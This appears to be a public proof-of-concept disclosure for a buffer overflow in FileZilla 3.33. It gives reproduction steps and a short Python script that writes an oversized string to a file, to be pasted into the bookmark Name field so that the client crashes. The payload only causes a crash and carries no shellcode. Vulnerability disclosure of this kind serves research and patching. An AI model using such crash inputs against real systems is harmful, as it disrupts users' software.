FileZilla 3.33 - Buffer Overflow (PoC)

# Exploit Title: FileZilla 3.33 Buffer-Overflow (PoC)

# Author: Kağan Çapar

# Discovery Date: 2018-10-10

# Software Link: https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/filezilla/3.33.0-1/filezilla_3.33.0-1.debian.tar.xz

# Vendor Homepage : https://filezilla-project.org

# Tested Version: 3.33

# Tested on OS: Kali Linux 2018.3 x64

# Steps to Reproduce: Run the python exploit script, it will create a new

# file with the name "exploit.txt". Copy the content from "exploit.txt".

# Open new terminal and write "filezilla"

# Go to Bookmarks and Add bookmark or Ctrl + B  

# Now paste the contents of "exploit.txt" into the fields. "Name:"

# Click "OK" after Click "Bookmarks" you will see a crash on terminal.

#!/usr/bin/python
    
buffer = "\x50\x48\x52" * 1300
 
payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"